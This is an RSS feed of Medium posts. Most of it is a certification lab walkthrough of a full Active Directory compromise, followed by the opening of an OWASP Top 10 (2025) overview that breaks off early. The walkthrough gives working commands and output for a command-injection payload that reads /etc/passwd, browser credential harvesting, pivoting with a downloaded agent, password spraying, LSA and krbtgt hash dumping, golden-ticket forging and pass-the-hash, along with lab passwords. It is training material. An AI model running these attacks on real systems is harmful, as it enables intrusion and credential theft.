<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by CyberHead on Medium]]></title>
        <description><![CDATA[Stories by CyberHead on Medium]]></description>
        <link>https://medium.com/@cyberhead?source=rss-ab107a677142------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*UgEG1X7J8KQ6iR1SrUESFg@2x.jpeg</url>
            <title>Stories by CyberHead on Medium</title>
            <link>https://medium.com/@cyberhead?source=rss-ab107a677142------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:13:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyberhead/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ CRTA Lab Walkthrough: The Easiest and Technical Guide to Domain Compromise with complete…]]></title>
            <link>https://medium.com/@cyberhead/crta-lab-walkthrough-the-easiest-and-technical-guide-to-domain-compromise-with-complete-f59b6827a4fa?source=rss-ab107a677142------2</link>
            <guid isPermaLink="false">https://medium.com/p/f59b6827a4fa</guid>
            <category><![CDATA[crta-lab-walkthrough]]></category>
            <category><![CDATA[crta]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[certified-redteam]]></category>
            <dc:creator><![CDATA[CyberHead]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 08:45:21 GMT</pubDate>
            <atom:updated>2026-06-01T08:48:05.132Z</atom:updated>
            <content:encoded><![CDATA[<h3>🔥 CRTA Lab Walkthrough: The Easiest and Technical Guide to Domain Compromise with complete commands.</h3><h3>Master the CyberWarfare Labs Red Team Certification Concepts, Commands and Methodology</h3><p><strong>By CyberHead</strong></p><h3>About Me</h3><p>I’m Sanket Gadwe (CyberHead), a Certified Ethical Hacker, Bug Bounty Hunter and Security Researcher. After recently passing the CRTA exam, I decided to share this write-up to help others understand the CRTA labs and learning process more easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aOFoqqPx-yAQiUx40wB8Gw.png" /></figure><p>I wish someone had given me a clear answer.</p><p>So here it is.</p><h3>What is CRTA?</h3><p><strong>CRTA</strong> stands for <strong>Certified Red Team Analyst</strong>.</p><p>It’s a practical, hands-on certification offered by <strong>CyberWarfare Labs (CWL)</strong>.</p><p>Unlike multiple-choice exams (CEH, Security+), CRTA is a <strong>6-hour live lab</strong> where you actually hack your way through a real-world red team scenario.</p><p><strong>You don’t answer questions. You execute attacks.</strong></p><h3>Exam Structure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*03aD3zmFrsjEoRToHqbK7g.png" /></figure><h3>📖 Table of Contents</h3><ol><li>Understanding the Lab Environment</li><li><strong>Phase 1:</strong> External Reconnaissance &amp; Initial Access</li><li><strong>Phase 2:</strong> Local Enumeration &amp; Credential Discovery</li><li><strong>Phase 3:</strong> Pivoting with Ligolo-ng</li><li><strong>Phase 4:</strong> Internal Network Enumeration</li><li><strong>Phase 5:</strong> Credential Spraying &amp; Lateral Movement</li><li><strong>Phase 6:</strong> Child Domain Controller Compromise</li><li><strong>Phase 7:</strong> Golden Ticket Attack Explained</li><li><strong>Phase 8:</strong> Parent Domain Controller Takeover</li><li>Complete Command Reference</li><li>Troubleshooting Common Issues</li></ol><h3>🌐 Understanding the Lab Environment</h3><h3>Network Architecture</h3><pre>┌─────────────────────────────────────────────────────────────────┐<br>│                         INTERNET                                 │<br>│                            │                                     │<br>│                    ┌───────▼───────┐                            │<br>│                    │  VPN Network  │                            │<br>│                    │ 10.10.200.0/24│                            │<br>│                    └───────┬───────┘                            │<br>│                            │                                     │<br>│                    ┌───────▼───────┐                            │<br>│                    │ External Host │                            │<br>│                    │ 192.168.80.10 │                            │<br>│                    └───────┬───────┘                            │<br>│                            │                                     │<br>│                    ┌───────▼───────┐                            │<br>│                    │Internal Network│                           │<br>│                    │192.168.98.0/24 │                           │<br>│                    └───────┬───────┘                            │<br>│                            │                                     │<br>│         ┌──────────────────┼──────────────────┐                 │<br>│         │                  │                  │                 │<br>│    ┌────▼────┐        ┌────▼────┐        ┌────▼────┐           │<br>│    │Parent DC│        │Child DC │        │  MGMT   │           │<br>│    │.2       │        │.120     │        │.30      │           │<br>│    └─────────┘        └─────────┘        └─────────┘           │<br>└─────────────────────────────────────────────────────────────────┘</pre><h3>What Each Machine Does</h3><p>IP Address Hostname Role Services 192.168.80.10 app-server External entry point SSH, HTTP 192.168.98.2 DC01 Parent Domain Controller DNS, LDAP, Kerberos, SMB 192.168.98.30 MGMT Management server SMB, WinRM 192.168.98.120 CDC Child Domain Controller DNS, LDAP, Kerberos, SMB 192.168.98.15 (pivot) Internal Ubuntu server SSH, HTTP</p><h3>Key Concepts Explained</h3><h3>What is a Domain?</h3><p>A Windows domain is a collection of computers and users managed centrally by a <strong>Domain Controller (DC)</strong>. Authentication happens via <strong>Active Directory (AD)</strong>.</p><h3>What is a Child Domain?</h3><p>A child domain is a subdomain under a parent domain. Here:</p><ul><li><strong>Parent:</strong> warfare.corp</li><li><strong>Child:</strong> child.warfare.corp</li></ul><p>The child trusts the parent. This trust is what we exploit.</p><h3>What is krbtgt?</h3><p>The krbtgt (Kerberos Ticket Granting Ticket) account is a special account on every Domain Controller. It <strong>signs and encrypts all Kerberos tickets</strong>. If you get its hash, you can create valid tickets for ANY user including Domain Admin.</p><h3>What is a Golden Ticket?</h3><p>A Golden Ticket is a forged Kerberos TGT (Ticket Granting Ticket) created using the krbtgt hash. It allows you to impersonate anyone in the domain. <strong>The parent domain trusts tickets from the child domain</strong> so a Golden Ticket in the child gives access to the parent.</p><h3>What is SSRF?</h3><p>Server-Side Request Forgery (SSRF) allows an attacker to make the server send requests to internal resources. We use it to read local files and discover internal networks.</p><h3>Phase 1: External Reconnaissance &amp; Initial Access</h3><h3>Step 1.1: Scan for Live Hosts</h3><p><strong>The Concept:</strong> Before attacking, we need to know what’s alive on the network. Nmap’s “ping sweep” (-sn) sends ICMP packets to discover responsive hosts.</p><pre>nmap -sn 192.168.80.0/24</pre><p><strong>Expected Output:</strong></p><pre>Nmap scan report for 192.168.80.1<br>Host is up (0.31s latency).<br>Nmap scan report for 192.168.80.10<br>Host is up (0.43s latency).</pre><p><strong>Why this works:</strong> The gateway (.1) is the router. The target is .10.</p><h3>Step 1.2: Detailed Port Scan</h3><p><strong>The Concept:</strong> Once we know a host is alive, we scan its ports to find services. -sC runs default scripts, -sV identifies service versions.</p><pre>nmap -sC -sV 192.168.80.10</pre><p><strong>Expected Output:</strong></p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu<br>80/tcp open  http    Apache httpd 2.4.41</pre><p><strong>What we found:</strong></p><ul><li>Port 22 (SSH) — for remote shell access</li><li>Port 80 (HTTP) — a web application</li></ul><h3>Step 1.3: Explore the Web Application</h3><p>Open http://192.168.80.10 in a browser.</p><p><strong>What you’ll see:</strong> A website with a <strong>Signup</strong> link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*Ci4MnNbUV3u4zt3XCTMtQQ.png" /></figure><p>Create an account with random credentials and log in. You’ll land on a dashboard page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*JTvaGrmVzJlBpzu5cpRpgQ.png" /></figure><h3>Step 1.4: Discover Command Injection</h3><p><strong>The Concept:</strong> Command injection occurs when user input is directly passed to a system shell without sanitization. The email field in the newsletter form is vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*cWvNFeKFTB3v0KqBNXyYtQ.png" /></figure><p><strong>Test the injection:</strong></p><p>Intercept the newsletter submission request in Burp Suite. Modify the email parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSsFMBekkfsQ2R6bHvExQQ.png" /></figure><pre>POST /newsletter HTTP/1.1<br>Host: 192.168.80.10</pre><pre>email=test@test.com; whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Mz-0Et9k265cCQXZrUhvQ.png" /></figure><p>✅ <strong>Command injection confirmed.</strong></p><h3>Step 1.5: Dump /etc/passwd</h3><p><strong>The Concept:</strong> /etc/passwd on Linux systems stores user account information. Reading it reveals valid usernames and sometimes passwords in the GECOS field.</p><pre>email=test@test.com; cat /etc/passwd</pre><p><strong>Look for a line like:</strong></p><pre>privilege:x:1001:1001:Admin@962:/home/privilege:/bin/bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRWx8PyeHH9_vjIIkivtWw.png" /></figure><p>🎯 <strong>Credential discovered:</strong> privilege:Admin@962</p><h3>Step 1.6: SSH Access</h3><p><strong>The Concept:</strong> Secure Shell (SSH) provides encrypted remote access to Linux systems.</p><pre>ssh privilege@192.168.80.10<br>Password: Admin@962</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*H2lkp_cr--sRXLBKjvvrDg.png" /></figure><p>✅ <strong>Initial access achieved.</strong> We’re inside the external host.</p><h3>Phase 2: Local Enumeration &amp; Credential Discovery</h3><h3>Step 2.1: Check Network Interfaces</h3><p><strong>The Concept:</strong> The compromised host may have multiple network interfaces, revealing internal networks.</p><pre>ip a</pre><p><strong>Look for:</strong></p><pre>ens34: inet 192.168.98.15/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*C_nyryKPyzrrw4iUike7Ng.png" /></figure><p>🎯 <strong>Internal network discovered:</strong> 192.168.98.0/24</p><h3>Step 2.2: Examine Firefox Bookmarks</h3><p><strong>The Concept:</strong> Web browsers store saved bookmarks in SQLite databases. These often contain internal URLs and credentials.</p><pre>ls -la .mozilla/<br>cd .mozilla/firefox/<br>ls</pre><p><strong>Identify the profile folder</strong> (name varies, e.g., b2rri1qd.default-release)</p><pre>cd b2rri1qd.default-release<br>sqlite3 places.sqlite</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*2DLRtQy4YuswMpPnFacJkA.png" /></figure><p><strong>Inside sqlite3:</strong></p><pre>.tables<br>select * from moz_bookmarks;</pre><p><strong>Critical finding:</strong></p><pre>&lt;http://192.168.98.30/admin/index.php?user=john@child.warfare.corp&amp;pass=User1@#$%6&gt;</pre><p>🎯 <strong>Internal credentials:</strong> john@child.warfare.corp:User1@#$%6</p><h3>Phase 3: Pivoting with Ligolo-ng</h3><h3>Why We Need a Tunnel</h3><p>The internal network 192.168.98.0/24 is <strong>not directly accessible</strong> from our attacker machine. The compromised host has access, but we don&#39;t. We need to route traffic through it.</p><h3>What is Ligolo-ng?</h3><p>Ligolo-ng creates a <strong>TUN interface</strong> (virtual network adapter) on your attacker machine. Traffic sent to this interface is forwarded through the agent on the victim machine.</p><h3>Step 3.1: Download Ligolo-ng</h3><p><strong>On attacker machine:</strong></p><pre>wget &lt;https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz&gt;<br>wget &lt;https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz&gt;</pre><pre>tar -xzf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz<br>tar -xzf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz</pre><h3>Step 3.2: Create TUN Interface</h3><p><strong>The Concept:</strong> TUN interfaces are virtual network adapters. We create one named ligolo and assign routes to it.</p><pre>sudo ip tuntap add user $(whoami) mode tun ligolo<br>sudo ip route del 192.168.98.0/24 dev tun0 2&gt;/dev/null<br>sudo ip link set ligolo up<br>sudo ip route add 192.168.98.0/24 dev ligolo</pre><p><strong>Verify the route:</strong></p><pre>ip route | grep 192.168.98</pre><h3>Step 3.3: Start Ligolo Proxy</h3><pre>sudo ./proxy -selfcert -laddr 0.0.0.0:443</pre><p><strong>Keep this terminal running.</strong> You’ll see:</p><pre>INFO[0000] Listening on 0.0.0.0:443<br>ligolo-ng »</pre><h3>Step 3.4: Transfer Agent to Victim</h3><p><strong>Start a web server on attacker (new terminal):</strong></p><pre>sudo python3 -m http.server 80</pre><p><strong>On victim machine (SSH session):</strong></p><pre>wget &lt;http://10.10.200.35/agent&gt;<br>chmod +x agent<br>./agent -connect 10.10.200.35:443 -ignore-cert</pre><p><strong>Replace </strong><strong>10.10.200.35 with your actual VPN IP.</strong></p><h3>Step 3.5: Start the Tunnel</h3><p><strong>Back on Ligolo-ng console:</strong></p><pre>ligolo-ng » session<br>? Specify a session : 1<br>[Agent : privilege@ubuntu-virtual-machine] » start</pre><p><strong>Output:</strong> INFO[0676] Starting tunnel to privilege@ubuntu-virtual-machine</p><p>✅ <strong>Tunnel established.</strong> Internal network is now accessible.</p><h3>Step 3.6: Verify Internal Access</h3><p><strong>Open a new terminal on attacker:</strong></p><pre>nmap -sn 192.168.98.0/24</pre><p><strong>Expected output:</strong></p><pre>Nmap scan report for 192.168.98.2<br>Host is up.<br>Nmap scan report for 192.168.98.15<br>Host is up.<br>Nmap scan report for 192.168.98.30<br>Host is up.<br>Nmap scan report for 192.168.98.120<br>Host is up.</pre><p>🎯 <strong>Four internal hosts discovered.</strong></p><h3>Phase 4: Internal Network Enumeration</h3><h3>Step 4.1: Scan Each Host</h3><p><strong>192.168.98.2 — Parent Domain Controller</strong></p><pre>nmap -sCV 192.168.98.2</pre><p><strong>Services:</strong> DNS (53), Kerberos (88), LDAP (389), SMB (445), WinRM (5985)</p><p><strong>192.168.98.30 — Management Server</strong></p><pre>nmap -sCV 192.168.98.30</pre><p><strong>Services:</strong> SMB (445), WinRM (5985)</p><p><strong>192.168.98.120 — Child Domain Controller</strong></p><pre>nmap -sCV 192.168.98.120</pre><p><strong>Services:</strong> DNS (53), Kerberos (88), LDAP (389), SMB (445), WinRM (5985)</p><h3>Step 4.2: Identify Domain Structure</h3><p>From the scans:</p><ul><li>192.168.98.2 is <strong>DC01.warfare.corp</strong> (Parent domain)</li><li>192.168.98.120 is <strong>CDC.child.warfare.corp</strong> (Child domain)</li><li>192.168.98.30 is <strong>MGMT</strong> (Member server in child domain)</li></ul><h3>Phase 5: Credential Spraying &amp; Lateral Movement</h3><h3>What is Credential Spraying?</h3><p>Instead of brute-forcing one account with many passwords, credential spraying tries <strong>one password against many accounts</strong>. It avoids account lockouts.</p><h3>Step 5.1: Create Target List</h3><pre>cat &gt; target.txt &lt;&lt; EOF<br>192.168.98.2<br>192.168.98.15<br>192.168.98.30<br>192.168.98.120<br>EOF</pre><h3>Step 5.2: Spray First Credentials</h3><pre>crackmapexec smb target.txt -u john -p &#39;User1@#$%6&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wSRe9QaWjv3FTSYTgMTYRw.png" /></figure><p><strong>Output:</strong></p><pre>SMB         192.168.98.30   445    MGMT    [+] child.warfare.corp\\\\john:User1@#$%6 (Pwn3d!)</pre><p>🎯 <strong>Success on MGMT (192.168.98.30).</strong> John is a local administrator.</p><h3>Step 5.3: Dump LSA Secrets</h3><p><strong>The Concept:</strong> LSA (Local Security Authority) stores cached credentials, including plaintext passwords in some cases.</p><pre>crackmapexec smb 192.168.98.30 -u john -p &#39;User1@#$%6&#39; --lsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7av6M32sQ7i0mF9d286pw.png" /></figure><p><strong>Look for:</strong></p><pre>corpmngr@child.warfare.corp:User4&amp;*&amp;*</pre><p>🎯 <strong>New credential discovered:</strong> corpmngr:User4&amp;*&amp;*</p><h3>Step 5.4: Spray New Credentials</h3><pre>crackmapexec smb target.txt -u corpmngr -p &#39;User4&amp;*&amp;*&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hmCqIjRRizq4q2tJ3YrVJQ.png" /></figure><p><strong>Output:</strong></p><pre>SMB         192.168.98.120  445    CDC    [+] child.warfare.corp\\\\corpmngr:User4&amp;*&amp;* (Pwn3d!)</pre><p>🎯 <strong>Success on Child Domain Controller (192.168.98.120).</strong></p><h3>Step 5.5: Access via WinRM</h3><p><strong>The Concept:</strong> WinRM (Windows Remote Management) is a PowerShell-based remote access protocol. It’s often enabled on Domain Controllers.</p><pre>evil-winrm -i 192.168.98.120 -u &#39;corpmngr&#39; -p &#39;User4&amp;*&amp;*&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*YqQYX5ESL0kLOkgXa6IVjQ.png" /></figure><p>✅ <strong>PowerShell session on Child DC established.</strong></p><h3>Phase 6: Child Domain Controller Compromise</h3><h3>Step 6.1: Update Hosts File</h3><p><strong>The Concept:</strong> Adding entries to /etc/hosts ensures domain names resolve correctly.</p><pre>sudo nano /etc/hosts</pre><p><strong>Add:</strong></p><pre>192.168.98.2 warfare.corp dc01.warfare.corp<br>192.168.98.120 child.warfare.corp cdc.child.warfare.corp</pre><h3>Step 6.2: Extract krbtgt Hash</h3><p><strong>The Concept:</strong> The krbtgt account’s hash is the master key for the domain. We extract it using secretsdump.</p><pre>secretsdump.py -debug child/corpmngr:&#39;User4&amp;*&amp;*&#39;@cdc.child.warfare.corp -just-dc-user &#39;child\\\\krbtgt&#39;</pre><p><strong>Output:</strong></p><pre>krbtgt:aes256-cts-hmac-sha1-96:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2</pre><p>🎯 <strong>Save this AES256 hash.</strong> We’ll need it for the Golden Ticket.</p><h3>Step 6.3: Extract Domain SIDs</h3><p><strong>The Concept:</strong> Every domain has a unique Security Identifier (SID). We need both parent and child SIDs.</p><p><strong>Child Domain SID:</strong></p><pre>lookupsid.py child/corpmngr:&#39;User4&amp;*&amp;*&#39;@child.warfare.corp</pre><p><strong>Result:</strong> S-1-5-21-3754860944-83624914-1883974761</p><p><strong>Parent Domain SID:</strong></p><pre>lookupsid.py child/corpmngr:&#39;User4&amp;*&amp;*&#39;@warfare.corp</pre><p><strong>Result:</strong> S-1-5-21-3375883379-808943238-3239386119</p><h3>Phase 7: Golden Ticket Attack Explained</h3><h3>The Concept Behind Golden Ticket</h3><h3>How Kerberos Normally Works:</h3><ol><li>User logs in → Gets a <strong>TGT</strong> (Ticket Granting Ticket) from krbtgt</li><li>User presents TGT to request <strong>service tickets</strong> (e.g., for CIFS)</li><li>Services trust the TGT because it’s signed by krbtgt</li></ol><h3>How Golden Ticket Exploits This:</h3><p>If you have the <strong>krbtgt hash</strong>, you can forge your own TGT for <strong>ANY user</strong> (including Administrator). The domain trusts it because it’s signed with the correct key.</p><h3>Why This Works Across Domains:</h3><p>The child domain has a <strong>trust relationship</strong> with the parent domain. By adding the parent’s <strong>Enterprise Admins SID</strong> to our forged ticket, the parent domain treats us as a trusted admin.</p><h3>Step 7.1: Forge the Golden Ticket</h3><pre>ticketer.py -domain child.warfare.corp \\\\<br>  -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 \\\\<br>  -domain-sid S-1-5-21-3754860944-83624914-1883974761 \\\\<br>  -groups 516 \\\\<br>  -user-id 1106 \\\\<br>  -extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 \\\\<br>  &#39;corpmngr&#39;</pre><p><strong>Parameter Breakdown:</strong></p><p>Parameter Value Meaning -domain child.warfare.corp Domain we&#39;re forging ticket in -aesKey [hash] krbtgt AES256 hash -domain-sid [child SID] Child domain identifier -groups 516 Domain Controllers group -user-id 1106 corpmngr&#39;s RID -extra-sid [parent SID]-516 Enterprise Admins in parent -extra-sid S-1-5-9 Enterprise Admins (well-known)</p><h3>Step 7.2: Set Kerberos Cache</h3><p><strong>The Concept:</strong> Kerberos tickets are stored in a cache file. The KRB5CCNAME environment variable tells tools where to find it.</p><pre>export KRB5CCNAME=corpmngr.ccache</pre><h3>Step 7.3: Request Service Ticket for Parent DC</h3><p><strong>The Concept:</strong> getST.py uses our forged TGT to request a service ticket for the Parent DC&#39;s CIFS (file sharing) service.</p><pre>getST.py -spn &#39;CIFS/dc01.warfare.corp&#39; -k -no-pass child.warfare.corp/corpmngr -debug</pre><pre>export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache</pre><h3>Step 7.4: Extract Parent Domain Administrator Hash</h3><pre>secretsdump.py -k -no-pass dc01.warfare.corp -just-dc-user &#39;warfare\\\\Administrator&#39; -debug</pre><p><strong>The </strong><strong>-k flag tells secretsdump to use Kerberos authentication.</strong> Since our ticket grants us admin access, we can dump the Administrator&#39;s hash.</p><h3>Phase 8: Parent Domain Controller Takeover</h3><h3>Step 8.1: Access as Administrator</h3><pre>psexec.py -debug &#39;warfare/Administrator@dc01.warfare.corp&#39; -hashes aad3b435b51404eeaad3b435b51404ee:a2f7b77b62cd97161e18be2ffcfdfd60</pre><p><strong>What’s happening:</strong></p><ul><li>We’re authenticating as warfare\\\\Administrator</li><li>Using <strong>pass-the-hash</strong> (the hashes parameter)</li><li>psexec creates a service on the remote machine and executes commands</li></ul><h3>Step 8.2: Verify Access</h3><p>Once connected:</p><pre>whoami</pre><p><strong>Output:</strong> nt authority\\\\system</p><pre>hostname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*mLzbO24e2GvD2peIBQgs7w.png" /></figure><p><strong>Output:</strong> dc01</p><p>✅ <strong>We are SYSTEM on the Parent Domain Controller.</strong></p><h3>📋 Complete Command Reference</h3><h3>Initial Access</h3><pre># Scan<br>nmap -sn 192.168.80.0/24<br>nmap -sC -sV 192.168.80.10</pre><pre># Command injection (via Burp or curl)<br>email=test@test.com; cat /etc/passwd</pre><pre># SSH<br>ssh privilege@192.168.80.10<br># Password: Admin@962</pre><h3>Enumeration</h3><pre># Internal network<br>ip a</pre><pre># Firefox bookmarks<br>cd .mozilla/firefox/*.default-release<br>sqlite3 places.sqlite<br>select * from moz_bookmarks;</pre><h3>Pivoting (Ligolo-ng)</h3><pre># Attacker<br>sudo ip tuntap add user $(whoami) mode tun ligolo<br>sudo ip link set ligolo up<br>sudo ip route add 192.168.98.0/24 dev ligolo<br>sudo ./proxy -selfcert -laddr 0.0.0.0:443</pre><pre># Victim<br>wget http://&lt;attacker-ip&gt;/agent<br>chmod +x agent<br>./agent -connect &lt;attacker-ip&gt;:443 -ignore-cert</pre><pre># Ligolo console<br>session<br>start</pre><h3>Internal Recon</h3><pre>nmap -sn 192.168.98.0/24<br>nmap -sCV 192.168.98.30<br>nmap -sCV 192.168.98.120</pre><h3>Credential Attacks</h3><pre># Target list<br>cat &gt; target.txt &lt;&lt; EOF<br>192.168.98.2<br>192.168.98.15<br>192.168.98.30<br>192.168.98.120<br>EOF</pre><pre># Spray<br>crackmapexec smb target.txt -u john -p &#39;User1@#$%6&#39;</pre><pre># Dump LSA<br>crackmapexec smb 192.168.98.30 -u john -p &#39;User1@#$%6&#39; --lsa</pre><pre># Second spray<br>crackmapexec smb target.txt -u corpmngr -p &#39;User4&amp;*&amp;*&#39;</pre><pre># WinRM access<br>evil-winrm -i 192.168.98.120 -u &#39;corpmngr&#39; -p &#39;User4&amp;*&amp;*&#39;</pre><h3>Golden Ticket Attack</h3><pre># Extract krbtgt<br>secretsdump.py child/corpmngr:&#39;User4&amp;*&amp;*&#39;@cdc.child.warfare.corp -just-dc-user &#39;child\\\\krbtgt&#39;</pre><pre># Get SIDs<br>lookupsid.py child/corpmngr:&#39;User4&amp;*&amp;*&#39;@child.warfare.corp<br>lookupsid.py child/corpmngr:&#39;User4&amp;*&amp;*&#39;@warfare.corp</pre><pre># Forge ticket<br>ticketer.py -domain child.warfare.corp \\\\<br>  -aesKey [KRBTGT_AES256_HASH] \\\\<br>  -domain-sid [CHILD_SID] \\\\<br>  -groups 516 \\\\<br>  -user-id 1106 \\\\<br>  -extra-sid [PARENT_SID]-516,S-1-5-9 \\\\<br>  &#39;corpmngr&#39;</pre><pre># Set cache<br>export KRB5CCNAME=corpmngr.ccache</pre><pre># Request service ticket<br>getST.py -spn &#39;CIFS/dc01.warfare.corp&#39; -k -no-pass child.warfare.corp/corpmngr</pre><pre># Dump Administrator hash<br>secretsdump.py -k -no-pass dc01.warfare.corp -just-dc-user &#39;warfare\\\\Administrator&#39;</pre><pre># Access Parent DC<br>psexec.py &#39;warfare/Administrator@dc01.warfare.corp&#39; -hashes :[ADMIN_HASH]</pre><h3>🛠️ Troubleshooting Common Issues</h3><h3>Ligolo-ng Issues</h3><p>Error Cause Solution decoder: unable to decode payload Version mismatch between proxy and agent Use same version or switch to Chisel Device or resource busy TUN interface already exists sudo ip link delete ligolo File exists when adding route Route already present sudo ip route del 192.168.98.0/24</p><h3>SSH Issues</h3><p>Error Cause Solution Connection refused SSH not running or wrong port Check nmap for SSH port Permission denied Wrong password Verify credentials from /etc/passwd Host key verification failed New host key ssh-keygen -R 192.168.80.10</p><h3>Credential Spray Issues</h3><p>Error Cause Solution STATUS_ACCOUNT_LOCKED_OUT Too many failed attempts Wait or use different account STATUS_LOGON_FAILURE Wrong password Double-check credential format NT_STATUS_ACCESS_DENIED User lacks privileges Try different user</p><h3>Golden Ticket Issues</h3><p>Error Cause Solution KDC_ERR_PREAUTH_FAILED Wrong krbtgt hash Re-extract hash from DC KDC_ERR_WRONG_REALM Domain name incorrect Check /etc/hosts entries CCache file not found KRB5CCNAME not set export KRB5CCNAME=corpmngr.ccache Name or service not known DNS resolution failed Update /etc/hosts</p><h3>📊 Credentials Summary</h3><p>Username Password / Hash Found At Purpose privilege Admin@962 /etc/passwd via command injection Initial SSH access john User1@#$%6 Firefox bookmarks MGMT access corpmngr User4&amp;*&amp;* LSA dump on MGMT Child DC access warfare\\\\Administrator a2f7b77b62cd97161e18be2ffcfdfd60 secretsdump via Golden Ticket Parent DC access</p><h3>🏁 Conclusion</h3><p>This walkthrough covers the complete compromise chain for the CRTA lab. Each phase builds on the previous one, demonstrating how a single vulnerability (command injection) can lead to full domain compromise.</p><p><strong>The key lesson:</strong> Always think in terms of <strong>chaining</strong> vulnerabilities. One small foothold → pivot → escalate → own the entire network.</p><p><em>— CyberHead</em></p><p><em>Security Consultant | Red Team Operator</em></p><p><strong>Disclaimer:</strong> This guide is for educational purposes within authorized training environments only. Always obtain proper authorization before testing these techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f59b6827a4fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWASP Top 10 (2025) — What’s New and Why It Matters ‍]]></title>
            <link>https://medium.com/@cyberhead/owasp-top-10-2025-whats-new-and-why-it-matters-f9bf279b4b28?source=rss-ab107a677142------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9bf279b4b28</guid>
            <category><![CDATA[owasp-top-10-2025]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[web-applications]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[CyberHead]]></dc:creator>
            <pubDate>Wed, 12 Nov 2025 08:51:32 GMT</pubDate>
            <atom:updated>2025-11-12T08:54:09.039Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP Top 10 (2025) — What’s New and Why It Matters 🐱‍👤</h3><p>Hey everyone 👋,<br>Back again with another cybersecurity breakdown.This time, we’re diving into something every security tester, developer, and engineer should know: <strong>the OWASP Top 10 (2025 edition)</strong>.</p><h3>🧭 Quick Intro</h3><p>For anyone new to the term the <strong>OWASP Top 10</strong> is basically the gold standard list of the most critical web application security risks. It’s updated every few years to reflect what’s <em>actually happening</em> in real-world attacks and testing data.</p><p>The 2025 version brings in <strong>new categories</strong>, <strong>restructured priorities</strong>, and <strong>refined definitions</strong>.<br> Let’s unpack what’s changed, what’s new, and where you should focus your attention as a pentester or developer.</p><h3>⚙️ What’s New in OWASP Top 10 (2025)?</h3><p>The latest edition introduces:</p><ul><li><strong>2 brand new categories</strong></li><li><strong>1 merged vulnerability (SSRF now part of Broken Access Control)</strong></li><li><strong>Several ranking shifts</strong> based on recent global vulnerability data</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChpM4fcjvBRbkzhSHYwUxw.png" /></figure><p>Here’s the updated list in order:</p><ol><li><strong>Broken Access Control</strong> (still #1 🥇)</li><li><strong>Security Misconfiguration</strong> (moved up massively from #5 → #2)</li><li><strong>Software Supply Chain Failures</strong> (brand new &amp; expanded)</li><li><strong>Cryptographic Failures</strong></li><li><strong>Injection</strong></li><li><strong>Insecure Design</strong></li><li><strong>Authentication Failures</strong></li><li><strong>Software or Data Integrity Failures</strong></li><li><strong>Logging &amp; Alerting Failures</strong></li><li><strong>Mishandling of Exceptional Conditions</strong> (new category 🚀)</li></ol><h3>🔒 A01 — Broken Access Control (Still the King)</h3><p>Access control ensures users can only do what they’re supposed to. When it’s broken, attackers can access or modify data, elevate privileges, or perform actions outside their scope.</p><p><strong>Common Examples</strong></p><ul><li>Viewing or modifying other users’ data (user_id=123 → 124)</li><li>Accessing admin panels directly (/admin, /dashboard)</li><li>Performing unauthorized actions (like deleting another user’s post)</li><li><strong><em>SSRF attacks (now part of this category)</em></strong></li></ul><p><strong>Testing Tips</strong></p><ul><li>Try changing object IDs or parameters in URLs</li><li>Check if restricted pages are directly accessible</li><li>Test if users can perform admin actions</li><li>Identify endpoints accepting external URLs and test for SSRF</li></ul><h3>🧱 A02 